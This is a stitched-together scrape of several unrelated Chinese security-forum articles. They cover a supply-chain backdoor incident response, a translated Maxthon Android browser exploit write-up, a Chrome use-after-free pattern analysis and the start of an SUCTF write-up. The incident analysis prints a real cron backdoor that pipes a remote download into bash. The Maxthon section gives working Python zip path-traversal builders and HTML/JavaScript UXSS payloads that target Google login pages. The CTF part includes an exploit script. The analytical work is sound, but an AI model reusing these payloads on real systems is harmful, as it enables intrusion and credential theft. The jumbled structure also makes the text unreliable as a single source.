#### 参考链接
[谈谈Json格式下的CSRF攻击](https://cloud.tencent.com/developer/article/1458194)
[浅析CSRF漏洞的利用与防御机制](https://xz.aliyun.com/t/5871)
[JSON CSRF新姿势](https://www.cnblogs.com/blacksunny/p/7940287.html)
[JSON CSRF的一个案例](http://www.0xby.com/902.html)
#### 参考文献
Web前端黑客技术揭秘 | 社区文章 |
各位师傅们，想问一下JAVA安全的学习路线和顺序，感觉市面的文章太杂乱了，不知道从何学起。
目前一般都会跟着一些cms的一些漏洞(Spingboot，SSM)，进行复现漏洞，但是本人想深入学习更底层的东西，问问师傅们该如何学起~ | 社区文章 |
今天做测试的时候遇到一个添加收获地址的时候发现收货地址的ID参数是可控的。一般叫ID参数的都为自增长的主键。
然后我就把ID参数值设置的特别大。返回结果也提示新增地址成功。（原图丢失了，下图以自己的数据库模仿一下。）
查看插入的数据，id并不是插入的多个99999，而是16777215
，也就是2的24次方-1，可能是id字段的长度是24，当我们设置的ID参数值超过了16777215，数据库会自动将ID值设置为16777215。也就是能支持的最大的ID值。
然后不指定id参数插入数据的时候，会因为自增长、和超过id最大值时会自动设置为16777215的问题导致id值不唯一，导致插入数据失败。
这样就导致了普通用户再添加收货地址就再也添加不上了。
另外将插入的ID值为16777215的数据删掉之后，还是不能正常添加收获地址的，需要修改一下自增长的起始值才能正常添加。
将值删掉之后，再次添加数据，
添加成功了，但添加的ID参数值是最大的，所以下一次添加时，又会失败
先将最大的ID值数据删除，然后修改一下id的起始值。
alter TABLE qqadmin auto_increment =1；
然后再执行插入语句就正常了，
不知道各位大佬怎么看。 | 社区文章 |
# 记一次供应链攻击的应急响应和防御思考
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
作者：MSQ@360MeshFireTeam、QDSD@360GearTeam
## 0x01 背景
近日，接用户反馈，笔者协助排查其360宙合系统DNS威胁情报告警时发现，某服务器短时间内多次域名解析地址extras.getpagespeed[.]com，该地址被360安全大脑情报中心标记为黑灰产类型，且关联到一已公开供应链攻击报告。
针对该IOC的威胁图谱及关联报告做进一步分析，根据这[文章分析](https://security.tencent.com/index.php/blog/msg/192)，发现第三方源提供商getpagespeed曾于2021年5月遭到供应链投毒攻击，用户在进行软件安装时会引入风险。基于此，初步判定为研发人员在安装第三方源时访问该地址导致中招，但目前一些知名网站，如pkgs.org还在提供getpagespeed的软件包，那么是情报过期导致的误报，还是getpagespeed再次被投毒了呢？这引起了笔者的注意。
## 0x02 分析
### 上机排查
排查了一下触发告警的机器，发现了后门文件/etc/cron.daily/gps:
#!/bin/bash
curl -s -m 300 https://www.getpagespeed.com/license/a57ef7ad9afc1b65d4732e244bd66beb44dacf25 | bash >/dev/null 2>&1 ||:
/etc/cron.daily为定时任务目录，该目录下的所有程序每天执行一次，且crontab
-l命令看不到该目录下的定时任务的。根据日志分析，后门被发现时后门还未执行，请求后门地址返回结果为空。
getpagespeed上次被攻击时，只有通过yum命令才能成功安装有后门的包。但这次复现时发现无论怎么重新安装，都无法再生成/etc/cron.daily/gps文件，根据主机日志对比后发现释放后门的机器上安装的版本为getpagespeed-extras-release-11-9.noarch，而在其他机器复现时安装的版本为getpagespeed-extras-release-11-30.noarch，果然在缓存中找到了11-9版本的软件包。
### 样本分析
分析该样本发现在安装时会释放后门定时任务：
if [ 'uname -m' == 'x86_64' ] && test -d /etc/cron.daily && test -f /etc/machine-id; then
# https://www.freedesktop.org/software/systemd/man/machine-id.html
# the machine ID should be hashed with a cryptographic, keyed hash function, using a fixed,
# application-specific key
MACHINE_ID_HASHED=$(sha1sum /etc/machine-id | head -c 40)
CRON_FILE="/etc/cron.daily/gps"
echo '#!/bin/bash' > $CRON_FILE
# multiple different machine IDs appearing on the same IP constantly would mean service abuse
echo "curl -s -m 300 https://www.getpagespeed.com/license/${MACHINE_ID_HASHED} | bash >/dev/null 2>&1 ||:" >> $CRON_FILE
chmod 0755 $CRON_FILE
fi
添加定时任务时，脚本会把/etc/machine-id拼接到回连地址中用以区分不同的被控机器。看注释里说这个定时任务是作者为了判断是否有多个机器复用了自己的服务，也许是个“正常”的定时任务，但卸载脚本删除后门定时任务把文件名误写为gpss就很值得玩味了：
postuninstall scriptlet (using /bin/bash):
if [ "$1" -lt 1 ]; then
# Remove dynamically installed files, as they are not "part" of original RPM transaction
DNF_PLUGINS_DIR="/usr/lib/python*/site-packages/dnf-plugins"
rm -rf $DNF_PLUGINS_DIR/getpagespeed.py >/dev/null 2>&1 ||:
YUM_PLUGINS_DIR="/usr/lib/yum-plugins"
rm -rf $YUM_PLUGINS_DIR/getpagespeed.py* >/dev/null 2>&1 ||:
YUM_PLUGINS_CONF_DIR="/etc/yum/pluginconf.d"
rm -rf $YUM_PLUGINS_CONF_DIR/getpagespeed.conf >/dev/null 2>&1 ||:
rm -rf /etc/yum.repos.d/getpagespeed-extras-plesk.repo >/dev/null 2>&1 ||:
rm -rf /etc/etc/cron.daily/gpss >/dev/null 2>&1 ||:
fi
而11-9和11-30版本的打包时间只差了1s就更显得有些巧合了：
最后在被植入后门的机器上再次尝试安装getpagespeed-extras-release，仍旧只能安装11-30版本。
发文前笔者又次测试了一次，发第一次安装的版本为11-9，且包在安装中会释放上述后门，但第二次安装时就变为11-30的正常版本了:
看来getpagespeed并不像表面那样已经修复了，攻击者做了某些特殊处理，在特殊情况下才会安装有后门的包。该包的打包时间为2022年4月16日，可能已经有不少机器受到影响。攻击者和官方的关系我们不得而知，以上分析均来源于开源网络情报，不代表最终结论。
## 0x03 排查建议
### 排查命令
grep -r "getpagespeed.com" /etc/cron* /var/spool/cron*
rpm -qa|grep getpagespeed
•release-latest.rpm、getpagespeed-extras-release-11-9.noarch.rpm
–MD5:048add51f093ba0f96fcc3502eb32942
–SHA256:d0c578f44f9409eae846e6175ce0041bb498afa46321b9c7f935812e6850f3fa
•url
–www.getpagespeed[.]com
–extras.getpagespeed[.]com
## 0x04 防护思考
近年来，软件供应链攻击事件呈现爆发增长态势，笔者在日常安全运营工作中也多次遇到针对终端/主机的软件投毒事件。在此聚焦供应链投毒攻击的预防、检测和响应处置环节，浅谈一下个人的几点思考。
### 一、预防阶段：
1、技术层面：在DevSecOps安全左移过程中引入软件成分分析(Software Composition Analysis
)工具，用于生成软件物料清单（Software Bill of
Material)，全面识别、分析和追踪每个应用服务的组件情况，包括但不限于开发过程中的源码、框架、模块以及依赖包等，便于在响应供应链投毒攻击时快速排查受影响范围。
2、流程层面：针对供应链攻击制定完整可靠的应急预案SOP，自顶向下逐步细化检测、抑制、根除、恢复等各控制流程，便于在响应供应链投毒攻击时有清晰的步骤指引和操作规范。
3、管理层面：跟踪并审核代码组件的所有重大变更历史，定期组织安全性评估，条件允许情况下可自建yum源，并实施软件黑白名单限制和管控下发策略；同时除安全方案外，还需注重培养开发人员的风险预警与防范意识。
### 二、检测阶段：
1、流量侧威胁监控：日常安全情报收集订阅，包含但不限于威胁情报、漏洞情报、事件情报等，有条件的情况下可自行部署TIP/TDP威胁情报检测和查询系统到生产环境中，不具备自建能力则可以抓取本地通讯流量，提交至SaaS化的云端安全服务进行检测分析，辅助研判。笔者本次应急经历，一方面借助了[宙合Saas
Pcap分析平台的云端威胁鉴定服务](https://zhouhe.360.cn)，通过DNS情报匹配及时触发告警发现威胁；一方面借助[360安全大脑情报中心](https://sc.360.net)，根据威胁图谱提供的关联数据做进一步分析，有效扩展安全线索，为整个响应过程提供指引。
2、安全设备监控：软件供应链投毒攻击本质上也属于有害程序事件，最终要落地到机器上实现入侵，因此利用EDR、CWPP等威胁检测响应平台，针对终端/主机的进程创建、文件写入、模块加载、注册表值写入等异常行为进行监控可实现对大多数攻击行为的捕获分析。本次应急经历中发现的定时任务后门释放，就可在crontab创建时通过对持久化行为的监控触发实时告警，当然高精度的检测还需要长时间运营积累以实现误报的持续收敛。
### 三、响应处置阶段：
根据应急响应PDCERF模型，在监测到供应链投毒攻击后，应按照事先准备好的SOP，遵循攻击缓解->攻击根除->业务修复->事件跟踪等一系列步骤，开展对应处置流程。
1、攻击缓解：本环节最重要的工作内容就是攻击入口的封堵、攻击传播链的阻断以及恶意IOC的封禁。通过告警日志排查、样本上机取证等手段，分析出恶意软件下载地址、被远控机器回连C2地址以及恶意程序横向传播手段，完成以下抑制操作：物理或逻辑隔离被控主机、封锁或重置被攻击的登录账号、在DNS服务上将恶意域名指向黑洞解析、在出口应用防火墙做C2封禁等等。
2、攻击根除：根据缓解步骤中提取出的各种IOC信息，全面关联告警查询，在各监控平台内做二次review,结合事前准备阶段的SBOM软件物料清单，全网全终端排查受影响范围。同时可将网络流量筛查、访问日志筛查、终端进程查杀/文件清除/持久化方式清除等工作编写为自动化脚本，通过SOAR工具实现批量下发执行，保证高效全面的根除处置。
3、业务修复及事件跟踪：恢复系统网络连接、恢复系统和应用服务、恢复账号等用户数据，对系统进行全面安全加固。同时做好整个安全事件的复盘工作，出具事件报告，从管理层面、流程层面、技术层面总结应急响应过程中存在的问题，修正并持续优化事件响应过程，形成闭环处置流程。
综上所述，供应链攻击防护属于系统问题，需要充分的纵深防御体系做支撑。其中最为关键的一环就是失陷检测，平衡公司安全建设ROI的同时引入合适的威胁检测系统，基于高质量的情报和规则，针对域名或者IP的C2监控做出快速响应；保证威胁可视化的前提下，接下来要重点做好来源管理，具体包括供应商评估、SCA分析、产品渗透等预防性工作。最后通过DevSecOps，做好软件全生命周期的过程管控。
## 0x04 引用
1.https://security.tencent.com/index.php/blog/msg/192
2.https://zhouhe.360.cn
3.https://sc.360.net | 社区文章 |
原文：http://d3adend.org/blog/?p=851 ， 本篇翻译自原文前部分，本文有增改
原作者： **Neil Bergman**
译： **Holic (知道创宇404安全实验室)**
译者测试环境：Maxthon 4.5.6，Android 5.1.1 / Android 4.2.2
* * *
[Maxthon
Browser（傲游浏览器）](https://play.google.com/store/apps/details?id=com.mx.browser&hl=en)
又是一个当下比较流行的 Android 浏览器，未使用Android 的 stock 浏览器（AOSP）。我在 Android
版的浏览器中发现了一些有趣的甚至有些严重的漏洞，可能导致远程代码执行和信息泄漏。
漏洞要点：
* 暴露的 JavaScript 接口导致任意文件写入 - 恶意网页可以强制浏览器下载zip文件，浏览器将其放在 SD 卡上，然后通过调用带有 URL 参数的`installWebApp`方法解压缩。由于缺少对 zip 文件所包含的文件名进行输入验证，攻击者可以制作一个恶意的 zip 文件，造成路径穿越来覆盖浏览器沙盒中的任意文件。这个漏洞能被用来实现远程代码执行，相关内容我将在后面演示。
* 登录页面暴露的 JavaScript 接口可以进行 UXSS 攻击 - 恶意网页可以通过调用 `catchform` 方法更改与其他域关联的自动填充登录页面表单数据。使用一些动态构建的 JS 代码，将自动登录信息注入到登录页面，而且浏览器没有正确输出编码数据，因此我们可以利用这一点开展登录页面的 UXSS 攻击。
* 暴露的 JavaScript 接口允许将 SQL 语句注入到客户端的 SQLite 数据库 - 设计为保存自动填充表单信息的代码也易受 SQL 注入攻击。它可能破坏客户端数据库或者远程提取自动填充表中所有信息，包括保存的登录凭据。虽然我能够找到一些在 Android 应用程序中由 IPC 触发的客户端 SQL 注入漏洞的例子（例如来自Dominic Chell的此类[漏洞](https://www.mdsec.co.uk/2015/11/sql-injection-in-samsung-voice-framework-application/)），和一个由来自 Baidu X-Team [WAP 推送](https://www.exploit-db.com/exploits/35382/)触发的客户端 SQL 注入的例子。我目前找不到有关在 Android 平台从 SQLite 远程窃取数据的公开实例。因此，这可能是针对 Android 应用程序的远程客户端 SQL 注入的第一个公开实例，其中可以使用登录页面， UXSS exploit 作为外部通信技术将数据从 SQLite 数据库中窃取出来。如果有其他有趣的例子，请 Ping 我。
### JS 接口攻击面
傲游浏览器使用
[addJavascriptInterface](https://developer.android.com/reference/android/webkit/WebView.html#addJavascriptInterface\(java.lang.Object,
java.lang.String\)) 方法将多个 Java 对象注入到加载网页的 Webview
中。在旧的设备（系统版本低于4.2）上，可以轻而易举地远程执行代码，参照：[gain RCE by abusing
reflection(pix)](http://d3adend.org/blog/?p=314)。在新的设备上，我们必须探索与 JS
接口相关的每个暴露的方法，来寻找可能被利用的有趣功能。
这个应用程序的 JS 接口攻击面很大，这使我们的工作变得更简单或者更难，就取决于你如何看待这个问题了。请考虑以下真实情况：所有的 Java 方法都通过
傲游浏览器暴露给网页中不受信任的 JS 代码。
**译者注：** _我们在逆向 Android
程序的时候，比如此例是浏览器应用，我们可以先在逆向工具中搜索一些敏感的方法/函数，像`jsCall`这种会涉及到与 js
交互断点方法，`getContent` 这种与文件内容有交互的方法等。_
_在 JEB 中，善用其强大的反编译和搜索功能：_
* com.mx.jsobject.AppcenterLocalImpl
* Methods: jsCall
* com.mx.browser.navigation.reader.ca
* Methods: getContent
* com.mx.jsobject.JsObjAppcenter
* Methods: jsCall
* com.mx.jsobject.JsObjAutoFill
* Methods: catchform, enableAutoFill, getLoginButtonSignatureCodes, getNonLoginButtonSignatureCodes, * getNonUsernameSignatureCodes, getTest, getUsernameSignatureCodes
* com.mx.jsobject.JsObjGuestSignIn
* Methods: getPostUrl, signin
* com.mx.jsobject.JsObjMxBrowser
* Methods: addLauncherShortcut, getAndroidId, getChannelId, getCountry, getDeviceId, getDeviceType, * getEncodedDeviceCloudId, getLanguage, getMxLang, getObjectName, getPlatformCode, getSysReleaseVersion, * getVersionCode, getVersionName, installWebApp, isAutoLoadImage, isSupportTimeLine, shareMsgToWXTimeLine, * shareToAll, shareToSinaWeibo, shareToSinaWeibo, shareToWXTimeLine, shareToWeChatTimeLine
* com.mx.jsobject.JsObjNextPage
* Methods: notifyFoundNextPage
* com.mx.browser.readmode.JsObjReadDetect
* Methods: notifyReadModeSuccess
* com.mx.browser.readmode.JsObjReadNext
* Methods: notifyReadModeFail, notifyReadModeSuccess
* com.mx.jsobject.JsObjShareHelper
* Methods: shareTo
* com.mx.jsobject.JsTouchIconExtractor
* Methods: onReceivedTouchIcons
* com.mx.browser.readmode.ReadModeActivity$JsObjReadHtml
* Methods: changeColorMode, getHtml, notifyFontSizeChanged, pageDown
* com.mx.browser.navigation.reader. RssNewsReaderActivityJsObjRssReader
* Methods: getAuthor, getContent, getObjectName, getSource, getTime, getTitle, loadImage, openImageBrowser
* com.mx.browser.navigation.reader. RssNewsReaderActivityJsObjRssReader
* Methods: getAuthor, getContent, getSouce, getTime, getTitle
### 寻找任意文件写入漏洞
在反编译代码中查看了很多暴露的方法，我看到了一个叫 `installWebApp` 的方法。
@JavascriptInterface public void installWebApp(String arg4) {
String v0 = t.a(arg4);
p.a(arg4, "/sdcard/webapp/" + v0, null);
u.b("/sdcard/webapp/" + v0);
d.b().a();
Toast.makeText(this.mContext, "webapp installed", 1).show();
}
然后我继续审计由 `installWebApp` 方法调用的所有方法的反编译代码。
1） `com.mx.c.t` 的一个方法是将 URL 转换为文件名。比如，如果你向该方法中提供
`http://www.example.org/blah.zip`，则它返回 `blah.zip`。 2） `com.mx.browser.f.p` 的
`a` 方法使用 Apache HttpClient 下载所提供的 URL，然后使用所提供的文件名（`/sdcard/webapp/[zip
filename]`）保存该文件。 3） `com.mx.c.u` 的 `b` 方法使用
[ZipFile](https://developer.android.com/reference/java/util/zip/ZipFile.html)和[ZipEntry](https://developer.android.com/reference/java/util/zip/ZipEntry.html)解压
SD 卡上的文件，相关类的代码如下所示。注意 zip 没有针对每条文件名的输入验证。
public static void b(String arg8) {
File v4;
Object v0_2;
try {
File v0_1 = new File(arg8);
String v1 = arg8.substring(0, arg8.length() - 4);
new File(v1).mkdir();
System.out.println(v1 + " created");
ZipFile v2 = new ZipFile(v0_1);
Enumeration v3 = v2.entries();
do {
label_20:
if(!v3.hasMoreElements()) {
return;
}
v0_2 = v3.nextElement();
v4 = new File(v1, ((ZipEntry)v0_2).getName());
v4.getParentFile().mkdirs();
}
while(((ZipEntry)v0_2).isDirectory());
System.out.println("Extracting " + v4);
BufferedInputStream v5 = new BufferedInputStream(v2.getInputStream(((ZipEntry)v0_2)));
byte[] v0_3 = new byte[1024];
BufferedOutputStream v4_1 = new BufferedOutputStream(new FileOutputStream(v4), 1024);
while(true) {
int v6 = v5.read(v0_3, 0, 1024);
if(v6 == -1) {
break;
}
v4_1.write(v0_3, 0, v6);
}
v4_1.flush();
v4_1.close();
v5.close();
goto label_20;
}
catch(IOException v0) {
System.out.println("IOError :" + v0);
}
}
这时，我停止了逆向这个方法，因为很明显加载到浏览器中的恶意网页可能会使应用程序下载并解压放在攻击者服务器上的 zip 文件。而且由于缺少对 zip
每条文件名的输入验证，我们可以穿越路径来覆盖浏览器可以访问到的任意文件。
### 利用任意文件写入漏洞第一部分 - 一个简单的 PoC
首先，我们需要使用以下 Python 代码构建恶意 zip 文件。 此处仅供参考，这里假设 `/sdcard/` 已经软链接至
`/storage/emulated/legacy/` 目录。最后 ，浏览器将 `maxFileWriteTest.txt` 写入到
`/storage/emulated/legacy/webapp/maxFileWriteTest9843/../../../data/data/com.mx.browser/maxFileWriteTest.txt`
文件, 相当于`/data/data/com.mx.browser/maxFileWriteTest.txt`。
import zipfile
import sys
if __name__ == "__main__":
try:
with open("maxFileWriteTest.txt", "r") as f:
binary = f.read()
zipFile = zipfile.ZipFile("maxFileWriteTest9843.zip", "a", zipfile.ZIP_DEFLATED)
info = zipfile.ZipInfo("maxFileWriteTest9843.zip")
zipFile.writestr("../../../../../data/data/com.mx.browser/files/maxFileWriteTest.txt", binary)
zipFile.close()
except IOError as e:
raise e
然后我们使用 `unzip` 命令列出归档文件，以验证是否正确创建了 zip 文件。看起来效果不错。
$ unzip -l maxFileWriteTest9843.zip
Archive: maxFileWriteTest9843.zip
Length Date Time Name
-------- ---- ---- ---- 4 02-11-16 15:38 ../../../../../data/data/com.mx.browser/files/maxFileWriteTest.txt
-------- ------- 4 1 file
Ok，现在构建的恶意页面，强行让浏览器使用 `installWebApp`方法下载并解压了我们的文件。
<html>
<body>
<script>
mmbrowser.installWebApp("http://d3adend.org/test/maxFileWriteTest9843.zip");
</script>
</body>
</html>
当浏览器访问恶意页面时，“webapp” 会自动安装。检查 `/data/data/com.mx.browser/files`
目录，显然我们可以将任意文件写入浏览器的应用程序目录。对受害者来说，唯一可能会察觉的迹象是一个弹出状态信息，告诉用户 “webapp installed”。
—— 文件写入 `/data/data/com.mx.browser/files` 路径。
### 寻找登录页面的 UXSS 漏洞
构建这个漏洞页面所需的就是将包含目标 URL，用户名和密码的 JSON payload 传递给 `mxautofill` 的 `catchform`
方法，如下面的 HTML 和 JavaScript 代码所示。
<html>
<body>
<script>
var json = '{"documentURI":"https://accounts.google.com/","inputs":[{"id":"username","name":"username","value":"[email protected]"},{"id":"password","name":"password","value":"fakepassword\'-alert(\'LoginUXSS:\'+document.domain)-\'"}]}';
mxautofill.catchform(json);
</script>
</body>
</html>
当用户访问恶意页面时，系统会提示用户“save your account?”，并且用户必须点击 ”Yes“
，浏览器才回保存自动填充信息。用户授权时会把它当做当前域的自动填充信息，而不是在其他任何域下。
—— 受害者被提示”Save your account？“
下次受害者访问 Google 登录页面时，浏览器通过 `com.mx.browser.a.e` 类中的 WebView 的 `loadUrl` 方法将以下
JavaScript 插入到页面中。
`javascript:mx_form_fill('[email protected]' ,
'fakepassword'-alert('LoginUXSS:'+document.domain)-'')`
然后在 accounts.goolge.com 的页面会显示弹出窗口信息。
—— 我们的 JavaScript 在 Google 的登录页面得以执行
### 任意文件写入二 —— 覆盖数据库以便不需要用户交互即可触发 UXSS
通常利用登录页面进行 UXSS 需要一些用户交互，因为受害者需要对”save your account？“ 提示弹窗点击
”Yes“，但是鉴于存在任意文件写入漏洞，我们可以配合漏洞在没有用户交互的情况下施展攻击链，参考以下步骤。
1） 创建包含多个主流域名的自动填充信息的 SQLite 数据库（`mxbrowser_default.db`）。同样地，我们将在用户名字段注入我们的
JavaScript 代码。
2） 创建一个 zip 文件，利用目录穿越来覆盖浏览器的 SQLite 数据库（`mxbrowser_default.db`）。
3）欺骗受害者浏览器浏览到能够触发 `installWebApp` 方法的恶意页面，这会让受害者的浏览器自动下载并解压缩我们的 zip 文件。此时，受害者的
SQLite 数据库将替换为我们制作的数据库。
4） 下一次受害者访问其中一个域名的登录页面时，我们的 JavaScript 代码将会注入到页面中。
我仅从我的设备（`/data/data/com.mx.browser/databases/mxbrowser_default.db`）中提取出相关的
SQLite 数据库，并使用 SQLite 客户端修改了 mxautofill 表。
\-- 在多个域名的用户名字段中包含了 XSS payload 恶意 SQLite 数据库
我们可以使用以下 Python 代码来构建 zip 文件，
import zipfile
import sys
if __name__ == "__main__":
try:
with open("mxbrowser_default.db", "r") as f:
binary = f.read()
zipFile = zipfile.ZipFile("maxFileWriteToLoginUXSS6324.zip", "a", zipfile.ZIP_DEFLATED)
zipFile.writestr("../../../../../data/data/com.mx.browser/databases/mxbrowser_default.db", binary)
zipFile.close()
except IOError as e:
raise e
然后我们制作调用了 `installWebApp` 方法的 HTML 页面。
<html>
<body>
<script>
mmbrowser.installWebApp("http://d3adend.org/test/maxFileWriteToLoginUXSS6324.zip");
</script>
</body>
</html>
此时如果受害者使用傲游浏览器访问恶意页面，那么他们的本地 SQLite 数据库将被我们制作的数据库覆盖，当当受害者访问 Yahoo ，Twitter 或者
Google 登录页面时，我们的 JavaScript 代码将执行。
—— 受害者访问恶意网页，并自动安装”webapp“。此时受害者的本地数据库已被覆盖。
—— 我们的 JavaScript 代码在 Google 的登录页面再一次执行。
未完，下篇见：http://paper.seebug.org/109/
* * * | 社区文章 |
# Chrome UAF漏洞模式浅析（三）：unique key容器emplace重复key
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 前序
本篇提到的可能不是什么特别的漏洞模式，也不专有于chrome，但是因为笔者在做漏洞分析的时候，看过大概四五个一样的漏洞，所以权做分享。
## 指针生命周期管理的一种常用范式
如果所有的B实例，都是在A构造的时候构造出B，B中保存指向A的原始指针，A持有保存B的`unique_ptr`指针。此时当A析构的时候，`unique_ptr
b_`被析构，于是b_保存的指向B的原始指针也被析构，从而B被析构。
class B;
class A {
public:
A() {
printf("A构造\n");
b_ = std::make_unique<B>(this);
}
~A(){
printf("A析构\n");
}
std::unique_ptr<B> b_;
};
class B {
public:
B(A *a) {
printf("B构造\n");
a_ = a;
}
~B(){
printf("B析构\n");
}
A *a_;
};
int main(){
A* a = new A();
delete a;
pause();
}
...
...
A构造
B构造
A析构
B析构
## 漏洞分析
### 例子1: CVE-2019-5788
<https://bugs.chromium.org/p/chromium/issues/detail?id=925864>
一般比较常见的生命周期管理就是让类A的对象通过容器C去保存类B的对象的指针，从而统一的进行B类型对象的删除。
如下FileSystemOperationRunner通过`operations_`字段来管理所有被创建出来的FileSystemOperation对象。
`operations_`就是`map<id,
unique_ptr<FileSystemOperation>>`，它会保存FileSystemOperation的一个unique_ptr指针。
OperationID FileSystemOperationRunner::BeginOperation(
std::unique_ptr<FileSystemOperation> operation) {
OperationID id = next_operation_id_++;
// TODO( https://crbug.com/864351 ): Diagnostic to determine whether OperationID
// wrap-around is occurring in the wild.
DCHECK(operations_.find(id) == operations_.end());
// ! If id already in operations_, this will free operation
operations_.emplace(id, std::move(operation));
return id;
}
如下:
在FileSystemOperation对象为了进行生命周期的管理，将其`unique_ptr`指针被map保存，然后又使用其原始指针调用Truncate方法。
OperationID FileSystemOperationRunner::Truncate(const FileSystemURL& url,
int64_t length,
StatusCallback callback) {
base::File::Error error = base::File::FILE_OK;
std::unique_ptr<FileSystemOperation> operation = base::WrapUnique(
file_system_context_->CreateFileSystemOperation(url, &error));
// ! take a raw pointer to the contents of the unique_ptr
FileSystemOperation* operation_raw = operation.get();
// ! call BeginOperation passing the move'd unique_ptr, freeing operation
OperationID id = BeginOperation(std::move(operation));
base::AutoReset<bool> beginning(&is_beginning_operation_, true);
if (!operation_raw) {
DidFinish(id, std::move(callback), error);
return id;
}
PrepareForWrite(id, url);
// ! use the raw free'd pointer here.
operation_raw->Truncate(url, length,
base::BindOnce(&FileSystemOperationRunner::DidFinish,
weak_ptr_, id, std::move(callback)));
return id;
}
这里有一个问题就是，OperationID是一个int类型的值，如果emplace的时候，该值因为装入的operation过多，而溢出，则可能导致用之前已经装入map的id，再次放入一个operation。
即
operations_.emplace(idA, std::move(op1));
operations_.emplace(idA, std::move(op2));
在第二次装入的时候，因为`operations_`是一个unique_key的容器，它不允许key相同，所以第二次装入是失败的，op2这个`unique_ptr`被当场析构，且此时它里面保存的原始指针不为空，从而使得指针指向的FileSystemOperation也被析构，operation_raw变成悬空指针。
之后通过`operation_raw`调用的时候，就UAF了。
漏洞补丁就是加固了OperationID的范围，避免溢出。
using CopyOrMoveOption = FileSystemOperation::CopyOrMoveOption;
using GetMetadataField = FileSystemOperation::GetMetadataField;
- using OperationID = int;
+ using OperationID = uint64_t;
virtual ~FileSystemOperationRunner();
### 例子2: CVE-2020-6493
* issue url
* <https://bugs.chromium.org/p/chromium/issues/detail?id=1082105>
* poc
var i=0;
setInterval(function(){
i++;
console.log(i)
virtualAuthenticatorManager.createAuthenticator().then(() => {
return navigator.credentials.create({publicKey : customPublicKey});
});
},0.1)
`navigator.credentials.create`最终会调到AuthenticatorAdded，用来添加一个新的authentication设备
void FidoRequestHandlerBase::AuthenticatorAdded(
FidoDiscoveryBase* discovery,
FidoAuthenticator* authenticator) {
DCHECK(authenticator &&
!base::Contains(active_authenticators(), authenticator->GetId()));
auto authenticator_state =
std::make_unique<AuthenticatorState>(authenticator);
auto* weak_authenticator_state = authenticator_state.get();
active_authenticators_.emplace(authenticator->GetId(),
std::move(authenticator_state));
//...
}
注意到`active_authenticators_`是一个AuthenticatorMap.
using AuthenticatorMap =
std::map<std::string, std::unique_ptr<AuthenticatorState>, std::less<>>;
如果在向`active_authenticators_`里插入元素的时候，发生了key冲突，就会导致要插入的`unique_ptr
authenticator_state`立刻析构掉它保存的AuthenticatorState对象的原始指针(其实是先进行一个右值拷贝给栈上的临时对象，然后临时对象因为插入失败，在函数结束的时候就析构掉了)，测试样例如下:
class A{
public:
A(){
cout << "A 构造"<<endl;
}
~A(){
cout << "A 析构"<<endl;
}
};
using AMap = std::map<std::string, std::unique_ptr<A>, std::less<>>;
AMap ua_m;
void f(){
auto ua1 = std::make_unique<A>();
std::string ua1_id = "1";
auto ua2 = std::make_unique<A>();
std::string ua2_id = "1";
ua_m.emplace(ua1_id, std::move(ua1));
ua_m.emplace(ua2_id, std::move(ua2));
cout << "done1" << endl;
}
int main(){
f();
cout << "done2" <<endl;
}
...
...
A 构造
A 构造
done1
A 析构
插入失败之后，我们将被析构掉的对象的原始指针`weak_authenticator_state`作为`FidoRequestHandlerBase::InitializeAuthenticatorAndDispatchRequest`的参数绑定成一个callback，并PostTask到当前线程的消息队列里，等待执行，当消息循环取出这个callback并执行的时候，就会在`InitializeAuthenticatorAndDispatchRequest`里触发UAF。
void FidoRequestHandlerBase::InitializeAuthenticatorAndDispatchRequest(
AuthenticatorState* authenticator_state) {
authenticator_state->timer = std::make_unique<base::ElapsedTimer>();
authenticator_state->authenticator->InitializeAuthenticator(base::BindOnce(
&FidoRequestHandlerBase::DispatchRequest, weak_factory_.GetWeakPtr(),
authenticator_state->authenticator));//<--解引用被析构的authenticator_state
}
## 模式总结
要找到这样的漏洞，要满足几个条件
1 找到向map或者其他unique key容器里进行insert/emplace的点
2 在插入的时候，key是否是可重复的，要么可控制，要么可爆破随机数，要么可溢出。
3
emplace进行析构的地方，和使用被析构对象的原始指针的地方，不能在同一个函数里（因为我们的测试证明要emplace所在函数结束才真正析构），要么是在外层函数，要么是将raw
pointer传入其他函数进行回调。
## 后记
本系列至此暂时告一段落，本来还想写一篇RenderFrameHost生命周期相关的漏洞模式，但是因为之前写过了很详细的分析，感兴趣的师傅可以找一下我以前发的文章。
本系列涉及到的漏洞多是一年前的漏洞了，Chrome的安全性是快速迭代的，所以现在的Chrome
UAF漏洞挖掘往往需要组合多个点，以及对对象的生命周期关系做一个比较明确的分析图。
希望本篇能给师傅们一些启发 : ) | 社区文章 |
# SUCTF WriteUP
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
SUCTF题目docker镜像:
> suctf/2018-web-multi_sql
> suctf/2018-web-homework
> suctf/2018-web-hateit
> suctf/2018-web-getshell
> suctf/2018-web-annonymous
> suctf/2018-pwn-note
> suctf/2018-pwn-noend
> suctf/2018-pwn-lock2
> suctf/2018-pwn-heapprint
> suctf/2018-pwn-heap
> suctf/2018-misc-padding
> suctf/2018-misc-game
> suctf/2018-misc-rsagood
> suctf/2018-misc-rsa
> suctf/2018-misc-enjoy
> suctf/2018-misc-pass
> 下面的exp中，许多地址使用的是出题人的本地环境，因此测试时请注意
## WEB
### Anonymous
这个题目是从HITCON CTF上找到的一个思路，因为有现成的打法，因此这个题目在一开就放了出来。
exp如下：
import requests
import socket
import time
from multiprocessing.dummy import Pool as ThreadPool
try:
requests.packages.urllib3.disable_warnings()
except:
pass
def run(i):
while 1:
HOST = '127.0.0.1'
PORT = 23334
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((HOST, PORT))
s.sendall('GET / HTTP/1.1nHost: localhostnConnection: Keep-Alivenn')
# s.close()
print 'ok'
time.sleep(0.5)
i = 8
pool = ThreadPool( i )
result = pool.map_async( run, range(i) ).get(0xffff)
### Getshell
* 题目过滤了大多数可见字符，为了给大家写shell，从第六位开始过滤字符，过滤字符可以Fuzz。
* 可以写入的字符有~ $ _ ; = ( )
* 所以考虑取反符~和不可见字符写shell。
* 编码ISO-8859-15中可以用~进行取反生成所需字符
* payload因为编码问题显示不出来,一句话马参考payload.php文件，密码_
* 参考文章[传送门](http://www.hack80.com/forum.php?mod=viewthread&tid=46962&extra=page%3D1)
#### 注意问题
* 单纯的文件中写入payload，是无法正常执行的，因为文件的编码需要保存成ISO-8859-15
